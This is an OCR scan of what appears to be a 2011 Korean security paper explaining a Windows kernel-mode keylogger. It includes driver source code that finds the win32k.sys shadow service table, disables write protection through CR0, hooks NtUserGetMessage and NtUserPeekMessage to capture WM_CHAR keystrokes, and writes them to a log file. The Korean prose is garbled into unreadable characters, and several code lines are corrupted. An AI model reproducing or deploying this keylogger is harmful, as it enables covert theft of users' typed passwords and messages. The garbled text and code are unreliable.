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1. Motivation
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7|1E AtESH7| oA o 7|7} S B =XIE LOotoFstrt. SHX|EH 07| &t U= 7= FA
(Device)o| e|&& ol Scan-Codeo|C}t. {22 ZtZto| 7|HEDICt 25| = 70| CHE £ QlC}.

Scan-Code= Interrupt-Dispatcherdi| 2|5l 7| 2= M|ZA} OtE 7|EE ZX| E2I0|H{| M= 0],
AtMiet e otE 2 S2SHK| QCh 7|2E X E2H0|H = 2hZte| 7|2 E 2|0|0tR0| A §
MAER7| CH20| Scan-CodeZ 0|sH5t, OHE Virtual-Keyztn E2|= Zioz HEIA|ZIC}
MSDN(Microsoft Developer Network)oi| irf2™ Virtual-Key= ZX| S&&0l Zfo|o{, =2{%l 7|2}t
A AEIOM ™olst 2RIt EH S == 240|Et. 7|EE =2t0|H{ = Scan-Code, Virtual-Key2t 7|of CH Sl
tMlet DEE ZEst HAIX| 2RME TS0 A|AER 7(System Queue)oi| Eo{d=Ct. A|AREZ
System-Message-Queued|| Ao TA|X|E THLHO{A{ Thread-Message-Queuedi| Zlo{d=cCt. 2|1
Thread-Message-Queuedi| U= HA|X|= Thread-Message-LOOpPZ THLHH{ MM |IER ZZA|HZ

A4 ZICE. 0| Z0f| BBt oS ApM| 3t 242 MSDNg & mstct.

AMAEIZ2 ALEAIL 7| E SRIE W O 7|71 s =Xol tist HEE 7t HIA|X|E - etct. o] o
AlX|= System-Message-Queued]| £0{7} U7t ztzte| Thread-Message-QueueZ O|SE=IC} 0O
710lM RE[= MZE2 OO|E[H{E MZaiWct. 2= O HAIXIE ZH=2RH7[2F SHH ElCE OA[X]| 7}
System-Message-Queued| E0{ 7Lt Lt mlf, Thread-Message-Queued| S0{7t7HL} Ltz 2]

IR E HOHLHH ECt.

MSG =M= HAIXIE Y7 /1T AAEIS] EAMO|CH. E8 0] XM= UAIX|7t o™ F
(Window)oll Al Z25tX|2t &2 OiAIX|of CHEE AtMISH HEE Z&stn Jnt. 7| =0 2fsHA
WM_KEYUP, WM_KEYDOWN, WM_SYSKEYUP, WM_SYSKEYDOWN && WM_CHAR O|A| X| 7}
MME 5= ULt 028 SR HAIXISER2 7|EE ¥ S ghot Thread-Message-Queue

o1zt Ct= HOIM f2l= 07]0 &

M_CHAR OA|X|ZE Thread-

s

ZACt. JdEM RElE ZIZAHE BS7] fl6l 2=

Message-Queueoi| A [H{Lt7| Fofl Z4x{ &t Zd0|Ct.

3. Attacking with GetMessage()

GetMessage() st FZ(Hooking)gre 24 WM_CHARE ZHAM & Zdo|Ct. GetMessage()= |/ =
X mZI0| XHAlo| Message-QueUueZRE| HAIXIE JtKM 7| Qs Ar5st=  &h4eCt.
GetMessage()= Message-Queued|M{ WM_CHARE =Z¢&ist 2E EF9| MA|X|E THLH2C| O|A
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Of HIAIXIE 7| et RASTH &=0[ch. (AR F: LiSo| dHSHAXI St o AUCE) 234

GetMessage()& £Zste Ho2 FS2E Zo|ct. GetMessage() = GDI &0 Z&t=of U1,
user32.dllof| Z&t=|of Ut IDAZ MEE™ 1 otoflAl _NtUserGetMessage()1& £&5t= AE &2
%= Qlct.

text:77D4918F mov eax, 11A5h

text:77D49194 mov edx, 7FFEO300h

text:77D49199 call dword ptr [edx]

= A

GetMessage()= ntdll.dll2 &&35t0{, 1 2to|A] sysentergt= HZH Z(Instruction)2 £ %= lcC}.
12|13 GetMessage() Floll NtUserGetMessage()2t= HE A 2 A(Kernel Component)7} QICt.
0|42 win32k.sys 2Hof| 1, /=R MEA|AE fX,GDI g£0]| {lct. NtUserGetMessage()2

Al2EL ME[A REIOl FAE FE=H AHE HA(0x11a5)E UM =HH o|EHeE
NtUserGetMessage()E £ZI5t7| st 2E HEE cf 77l Zo|c}.

4. Hooking in win32k.sys

win32k.syso| A|AE! Z(syscall)g2 £Z5t=
25D 22191 Ate| TR E £=5ICh 2|1 ntoskrnl.exeE e ol =

=

742 ntoskrnl.exeo| A|AHEl 22 SZl5t= AH &
7 =
C}.

X H® 2x|= Shadow-Tablee| @ =All(Offset)2 &OlLH= ATt win32k.sysof| Ho|g|of Y= 2E

o F&AE Ao = Aol

(AXF ) F=H|2F &7 HO{ XA 07| A L2 = System Service Descriptor Table2 ci2nt 22 2

Z=HM|o|C}.

typedef struct _SSDT_DescriptorTables {

ServiceDescriptorEntry ServiceTables[4];

} SSDTDescriptorTables;
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32|10 System Service Descriptor Table Entry= Ct23F 202 2 EX|0|C}.

typedef struct _ServiceDescriptorEntry {
ULONG *ServiceTableBase;
ULONG *ServiceCounterTableBase;
ULONG NumberOfServices;
UCHAR *ParamTableBase;

} ServiceDescriptorEntry;

te 5t System Service Dispatch Table2 win32k.sysof| Q= A|AE! 2 MA| Q| FA HIYES LSt}
O| Hi 9| A|ZtFA = ServiceDescriptorEntry.ServiceTableBaseo|C}.

0|3} Z=0JAf.. ):

System Service Descriptor Table - Descriptor Table

System Service Dispatch Tabel - Dispatch Table

System Service Descriptor Table Entry - Descriptor Entry

212 2 win32k.sys2| Dispatch Tableg 7}X|1 &= Descriptor Table EntryE 7%l Descriptor

M&35| = 742l Descriptor Tableo| QIC}. &FLt

Tableg #toLljot st H4G(Window Kernel)o|M = A &t
| U1, 2 Stb= ntosknrl.exeb win32Kk.sys

= CHX| ntoskrnl.exe2| Dispatch Tableg 7127
o| Dispatch Table MEE 7t2[7|1 AUCt.

—
=
il

[AVO] ¥l M25H7| fIsiiA{= Descriptor Table2| 2 = Ao = Zt2 ntoskrnl.exe2|

SHA] ZH=C}. 0| HfH2 Windows XP Service pack 2 O|AtO|AM S&ISICH L= =2 CH2 e 2
s 0|42 o ME5HCh win32k.syse| Descriptor Tableo| GUIE Jt&l Ag|=2| ETB (ETHREAD

block)2e| ServiceTableo|| |X|Etct= S 2ot Zdo|ct. o] ZE2o| 2 =AML WinDbgE Ss 7IChs

2o 3= .

kd>dt _ethread
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(...)
+0xe0 ServiceTable : Ptr32 Void

()

ntoskrnl.exe2| Descriptor Table2| A= ZICHs| FEO|A import A|7{ &oiLf 1, ETB &3 =-2|
A E(Linked-list)E =35|5tHA] 22| MH|A E|0|& = =Z ntoskrnl.exe2| Descriptor?} H| W St
otk = 7 FATF win32k.sys2| Service Descriptor Table o|zt && & o~ QIC}. (0] g
2 ZM ™o ULt hard-coded & 2LEZME AL EMN Zt2t2| A== HHX 0| w2t XHo|7} QUTt. )

GUI A3 EE 37| fI5iA GUIZ 71x| 11 = EPB(EPROCESS block)E ztotLfofstct. o|d 2 EPB
9| Win32Process == 2=l Ox1300]| 2Rt 2 =7} win32k.syse| LHE H|0|E| 2 ENME 7127
7| 2lof of|2t=lof U= AE 0| 85HH Eot. 0| HE HE =2to|Hof| 2fs 22| ElCh GUITE gle Z2A|

29| A0l= o] =7 NULLZtE 7HX|7| mi 20l 0| A& 0|83l EPB 23 =-2[AEE &3] 5HH &=

rolI

Ct.

#define OffsetEP_Win32Process 0x130 // EPROCESS.Win32Process

#define OffsetEP_NextEPFlink Ox88  // EPROCESS.ActiveProcessLink.Flink
#define OffsetEP_NextETFlink ©x50  // EPROCESS.KPROCESS.ThreadListEntry.Flink
#define OffsetET_NextKTFlink Ox1b® // ETHREAD.KTHREAD.ThreadListEntry.Flink
#define OffsetET_NextETFlink ©0x22c // ETHREAD.ThreadlListEntry.Flink

#define OffsetET_ServiceTable Oxe® // ETHREAD.KTHREAD.ServiceTable

#pragma pack(1)

typedef struct _ServiceDescriptorEntry {
ULONG *ServiceTableBase;
ULONG *ServiceCounterTableBase;
ULONG NumberOfServices;
UCHAR *ParamTableBase;

} ServiceDescriptorEntry;

#pragma pack()

typedef struct _SSDT DescriptorTables {
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ServiceDescriptorEntry ServiceTables[4];
} SSDTDescriptorTables;

extern ServiceDescriptorEntry KeServiceDescriptorTable;

ULONG FindGUIProcess(void)
{

ULONG CurrentEproc, Win32Process, StartEproc;
PLIST_ENTRY  ProcessLink = NULL;
int Count = 0;

CurrentEproc = Win32Process = StartEproc = 0;
(ULONG)PsGetCurrentProcess();

CurrentEproc
StartEproc = CurrentEproc;
Win32Process = *((ULONG *)(CurrentEproc+0ffsetEP_Win32Process));

while(1)

{
if( Win32Process != 0 )

return CurrentEproc,

if( (Count >= 1) && (CurrentEproc == StartEproc) )

return 0;

ProcessLink = (PLIST_ENTRY)(CurrentEproc+0ffsetEP_NextEPFlink);
CurrentEproc = (ULONG)ProcessLink->Flink;

CurrentEproc = CurrentEproc - OffsetEP_NextEPFlink,

*((ULONG *)(CurrentEproc + OffsetEP_Win32Process));

Win32Process

Count++;

return 0,

ULONG FindShadowTable(ULONG GUIEprocess)
{

ULONG CurrentEthread, CurrentTable, StartEthread, ServiceTable;
PLIST_ENTRY  ThreadLink = NULL;
int Count = 0;
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CurrentEthread = CurrentTable = StartEthread = ServiceTable = 0;
ServiceTable = (ULONG)*(&(KeServiceDescriptorTable.ServiceTableBase));
CurrentEthread = *((ULONG *)(GUIEprocess+OffsetEP_NextETFlink));
CurrentEthread = CurrentEthread - OffsetET_NextKTFlink;

StartEthread = CurrentEthread;

CurrentTable = *((ULONG *)(CurrentEthread + OffsetET _ServiceTable));
while(1)

{

if( CurrentTable != ServiceTable )

return CurrentTable;

if( (Count >= 1) && (CurrentEthread == StartEthread) )

return 0;

ThreadLink = (PLIST_ENTRY)(CurrentEthread + OffsetET_NextETFlink);
(ULONG) ThreadLink->Flink;

CurrentEthread - OffsetET_NextETFlink;

CurrentTable = *((ULONG *)(CurrentEthread + OffsetET_ServiceTable));

Count++;

CurrentEthread

CurrentEthread

return 0;

NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject,

IN PUNICODE_STRING RegistryPath)

ULONG GUIEprocess, *GetMessageAddr;
SSDTDescriptorTables *ShadowTable = NULL;

GUIEprocess = 0,
KeEnterCriticalRegion();

GUIEprocess=FindGUIProcess();

KeLeaveCriticalRegion();

Page 9 Copyright @ 2011 REDBIT


http://cert-is.com/

CERT-IS @& http: //cert-is.com

KeEnterCriticalRegion();

ShadowTable = (SSDTDescriptorTables *)FindShadowTable(GUIEprocess);
KelLeaveCriticalRegion();

ol

tCF.

=T =

I

FindGUIEprocess()2t FindShadowTable() st4&= AN 2 & S&f

win32k.sys& SZ& i M7= F Hm Ex|= Dispatch Tableg 2otHet= 0|ZHE AtE &
2iC= Ao|ct win32Kk.sys= SMZE ZZMAL} FASHA H0o|&(Paging) 7Hs$§t =2t0|H{0|C}.
=, win32k.syso| F=AE Ji2|7|= 7T A= win32K.sysE AF5H= GUI ZZM|A LMt | &
St 1 2o TfE XoM e FATIF FESHA| o4ttt o] 20| ES (UAF ! &AM ALSE = U7
o 20| state ofr|ct.) PAGE_FAULT_IN_NONPAGED_AREA z}= BSOD(Blue Screen Of Death)
£ A8t 4 qlct. matA Dispatch Tableg 17{Lt M 7| QM= R2(2] E2t0|H7F GUI Z2M|A
oF &2 IR0l EXHSto{0F Bt

o|A2 GUIE 2= IOCTLZ o| 83l =2to|H{7t 0| L2 & = JUEE A7|= &2 Ring 3 =21
US AMHBEM 70| 7SSICH O|H 22 LS 2ol T2 M 25 A0l =F 0|e AO|

0

Ct. ciAl FindGUIProcess()2 GUI ZZM|AE ZtoFAH
Detach& 35t =C}.

r
o
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=
—+
Q
(@)
>
i)
-
o
Q
D
()

2
i

o

ct22o| I=7F NewGetUserMessage()

-|0|I
rul_o
1>
OOI'
ol
rr
o
a

#define INDEX_GETMESSAGE 0x1a5

/*
This is because of the way the windows system service
dispatcher works. It uses the 13th and 12th bit of the
index to indicate which descriptor table to look it
up in. That is why we use 0x1a5 as our offset, rather
than 0x11a5.

*/

typedef NTSTATUS (*NTUSERGETMESSAGE)(OUT ULONG pMsg,
IN ULONG hWnd,
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IN ULONG FilterMin,
IN ULONG FilterMax);
NTUSERGETMESSAGE 0ldGetMessage;

typedef struct _POINT {
ULONG x;
ULONG y;

} POINT;

typedef struct _MSG {
ULONG hWnd;
ULONG message;
ULONG wParam;
ULONG 1Param;
ULONG time;
POINT pt,

} MSG, *PMSG;

NTSTATUS NTAPI NewGetMessage(OUT ULONG pMsg,
IN ULONG hWnd,
IN ULONG FilterMin,
IN ULONG FilterMax)

{
NTSTATUS APIStatus,
PMSG MsgStruct;
APIStatus = 0ldGetMessage(pMsg, hWnd, FilterMin, FilterMax);
MsgStruct = (PMSG)pMsg;
if( MsgStruct->message == WM_CHAR )
{
/* Message we're looking for */
1
return APIStatus;
}

/* This code should be inside DriverEntry() */
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GetMessageAddr = ShadowTable->ServiceTables[1].ServiceTableBase + INDEX_GETMESSAGE;
KeAttachProcess((PEPROCESS)GUIEprocess);
0ldGetMessage = (NTUSERGETMESSAGE) (*GetMessageAddr);

_asm
{
cli
mov eax, cr0
and eax, not 10000H
mov cr@, eax
1

*GetMessageAddr = NewGetMessage,

_asm

{
mov eax, cro
or eax, 10000H
mov cr@, eax
sti

1

KeDetachProcess();

CRO 2/} QIE{ZE(Intrrupt)S x| =S MH5HD SUYCE SRS 0[RS FX| 28
(0]

HE|ZEN|A BHOME AR B5ot 22 B of 2alst W

5. Another Part of the Story — PeekMessage()

O|=7 H=0{Zl 7|2H= SESHA|R HAES I 25
o [m]

WM_CHAR HIA|X|E ZX{SIX|= RE HO|

[}
Ch AMd 2E 7| 2430| otL2t EEE =2 7| UHTS XSt O2{8t Olf=s ZE 22=7F

Message-Queued| A TIA|X|E THLH2 7| 25} GetMessage()otE AL235H= Zd0| ofL|7| m2o|Ct.
J2iAM 718 2 2 PeekMessage()2 S5l oF Sty

TZ U2 ALK} QlE{H|o]A(User Interface)E oHE7| 2lsl Edit-Boxet 2 ojz| o=l X E
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AFEE = UCh J2|1 O ZEo|M GetDigltemText() &t~ 0| &3l Edit-Box2| ZXIEE 7tH2 =
QlC}. o ste= GetMessage()Lr PeekMessage()E &£ 5lX|= =cC}. Edit-BoxZ MA5t0 22|

0
st= 2= I =7}t user32.dllof| =xyst7| oh 2o0|Ct.

user32.dll otofl= LHE X o= PeekMessage()E AHEdt=s &= CHE HIA|X| =7t Ex{stD MUl =
ofx|gt QIX} Zto 2 PM_REMOVEZ Al235iCt. GetDIglitemText()2] 7152 =& 27| Q6iM HE =
2tO|HEZ S0iZ Z2 210]| OllyDbgE Salf FMZE=2| HE S22 %ME.J EAIERte 2 =telo]| 7t
2= WM_CHAR OA|X|E &ZE 2 QCt. 0] HiHe
NtUserGetMessage() £Z1t zZten FI1Moz ZE st ME= x| Dispatch TableojA{e
NtUserPeekMessage()o|Ct. ol A(Index) Z+S Ox11DAo| 11, 7|EXM o2 0o|H2 2= Al OxldaZ

ojo|gtct.

6. The keylogger engine

T 8 7HXl= S7I8to|ct. 7| =S WS | fIsH 27H2| B8 FLRI|I WiZEol, SAlol X E
HO|E =0| Ho MEE = JU2EZE HEE S7|SHA|AHOF Bt AHE2 02 E2 37|15 7IsE A
Zetch O 3 ¥ 22| HE0AM 7HE E2 L2 MutexE A5tz Aok I =[H =& &
T= H 22| HEE Mutexol| 2|5l &7 & Wi7HX| H0|EE Y= RE S12SHXA| gd=Ct. HEHIL 7IS Zt
2 i &7t CHE Al MO CIo[BE MEE Set, o] = UIo[EE HEE = =of otelof &
7 st= 23 =8 e Aot

O 22 U2 0iH ME2 A2 =8 HYSHA] b B StLte| As|=Rts MHet =, Ho[BE £ E
27t JS Wotet FIH 2 IHRIM ALESH= Ao|Ct

n
mjo
1o
jind
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rr
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#define PM_REMOVE 0x0001 // Remove flag for PeekMessage from winuser.h
#define WRITE_BUFFER_SIZE 10

#define NUM_KEYS 256

#define LOG_FILENAME L"\\DosDevices\\c:\\klogfile.txt"

/* Data about the key we're going to collect */
typedef struct _KEY_DATA {

ULONG CharCode;
} KEY_DATA;

/* This structure represents memory buffer that holds data before writing it to disk */
typedef struct _MEMBUFF {

KEY_DATA Keys[NUM_KEYS];
int KeysIndex;
} KEYMEMBUFF, *PKEYMEMBUFF;

void WorkerThread (IN PVOID BufferStruct)

{
PKEYMEMBUFF Buffer;
I0_STATUS_BLOCK FileStatus, WriteStatus,
HANDLE FileHandle;
int i, WriteSize;
unsigned char AsclIChar, WriteBuffer[WRITE_BUFFER_SIZE];

Buffer = (PKEYMEMBUFF)BufferStruct;

ZwCreateFile( &FileHandle,
FILE_APPEND_DATA | SYNCHRONIZE,
&LogFileObjAttrib,
&FileStatus, NULL,
FILE_ATTRIBUTE_NORMAL, @,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);

for(i = 0; 1 < Buffer—->KeysIndex; i++)
{
memset(WriteBuffer, 0, WRITE_BUFFER_SIZE);

AscIIChar = *((unsigned char *)&(Buffer->Keys[i].CharCode));
switch(AscIIChar)
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}

ZwWriteFile (FileHandle, NULL, NULL, NULL,

Buffer->KeysIndex = 0;
ZwClose(FileHandle);
PsTerminateSystemThread(0);

/* Same as for NtUserGetMessage, just different function */
NTSTATUS NTAPI NewPeekMessage(OUT ULONG pMsg,

case 0x8:
strncpy (WriteBuffer, "<BS>", WRITE_BUFFER_SIZE-1);
WriteSize=4,

break;

case 0x1b:
strncpy (WriteBuffer, "<ESC)", WRITE_BUFFER_SIZE-1);
WriteSize=5;

break;

case Ox7f:
strncpy (WriteBuffer, "<DEL>", WRITE_BUFFER_SIZE-1);
WriteSize=5;

break;

default:
WriteBuffer[0]=AscIIChar;
WriteSize=1,

break;

&WriteStatus,
WriteBuffer,
WriteSize, NULL, NULL);

IN ULONG hWnd,

IN ULONG FilterMin,
IN ULONG FilterMax,
IN ULONG RemoveMsg)
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{
NTSTATUS APIStatus, Status,
PMSG MsgStruct;
HANDLE WorkerThreadHandle;
APIStatus = 0ldPeekMessage(pMsg, hWnd, FilterMin, FilterMax, RemoveMsg);
MsgStruct = (PMSG)pMsg;
if( (MsgStruct-Pmessage == WM_CHAR) && (RemoveMsg == PM_REMOVE) )
{
Status = KeWaitForSingleObject((PVOID)&MemBuffMutex,
UserRequest,
KernelMode,
FALSE, NULL);
if(Status == STATUS_SUCCESS)
{
if(ActiveBuffer—>KeysIndex == NUM_KEYS)
{
PsCreateSystemThread(&WorkerThreadHandle,
THREAD_ALL_ACCESS, NULL, NULL, NULL,
WorkerThread,
ActiveBuffer);
ZwClose(WorkerThreadHandle);
ActiveBuffer = (ActiveBuffer==&Buffer1) ? &Buffer2 : &Bufferl;
}
ActiveBuffer->Keys[ActiveBuffer->KeysIndex].CharCode = MsgStruct->wParam;
ActiveBuffer->KeysIndex++;
KeReleaseMutex(&MemBuffMutex, FALSE);
}
ki
return APIStatus;
1
/* Our replacement function for NtUserGetMessage() */
NTSTATUS NTAPI NewGetMessage(OUT ULONG pMsg,
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IN ULONG hWnd,
IN ULONG FilterMin,
IN ULONG FilterMax)

{
NTSTATUS APIStatus, Status;
PMSG MsgStruct;
HANDLE WorkerThreadHandle;
/* Call the original function */
APIStatus = 0ldGetMessage(pMsg, hWnd, FilterMin, FilterMax);
MsgStruct = (PMSG)pMNsg;
if( MsgStruct-P>message == WM_CHAR ) /* Message we are looking for */
{

/* Here we try to get exclusive access to the shared buffer untill call
to KeReleseMutex() there should be only one function running this
code. Also we need to look when the buffer is full and then create
the thread to write it to the disk */

Status = KeWaitForSingleObject((PVOID)&MemBuffMutex,

UserRequest,
KernelMode,
FALSE, NULL);
if(Status == STATUS_SUCCESS)
{
if(ActiveBuffer—>KeysIndex = NUM_KEYS) // If current buffer is full
{
/* Empty the buffer by creating the thread that will write
data to disk */
PsCreateSystemThread(&WorkerThreadHandle,
THREAD_ALL_ACCESS, NULL, NULL, NULL,
WorkerThread,
ActiveBuffer);
ZwClose(WorkerThreadHandle) ;
/* While thread is working, switch to the next buffer so we
can continue logging */
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ActiveBuffer = (ActiveBuffer==8Buffer1) ? &Buffer2 : &Buffer1;

ActiveBuffer->Keys[ActiveBuffer->KeysIndex].CharCode = MsgStruct-DwParam;

ActiveBuffer—->KeysIndex++;

/* Done with our code, relese the mutex */
KeReleaseMutex(&MemBuffMutex, FALSE);

return APIStatus; /* Return to the user */

}
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In the end | would like to give some shouts to hess (my attorney :) and all of the guys at
#croatianz. Thank you for reading.
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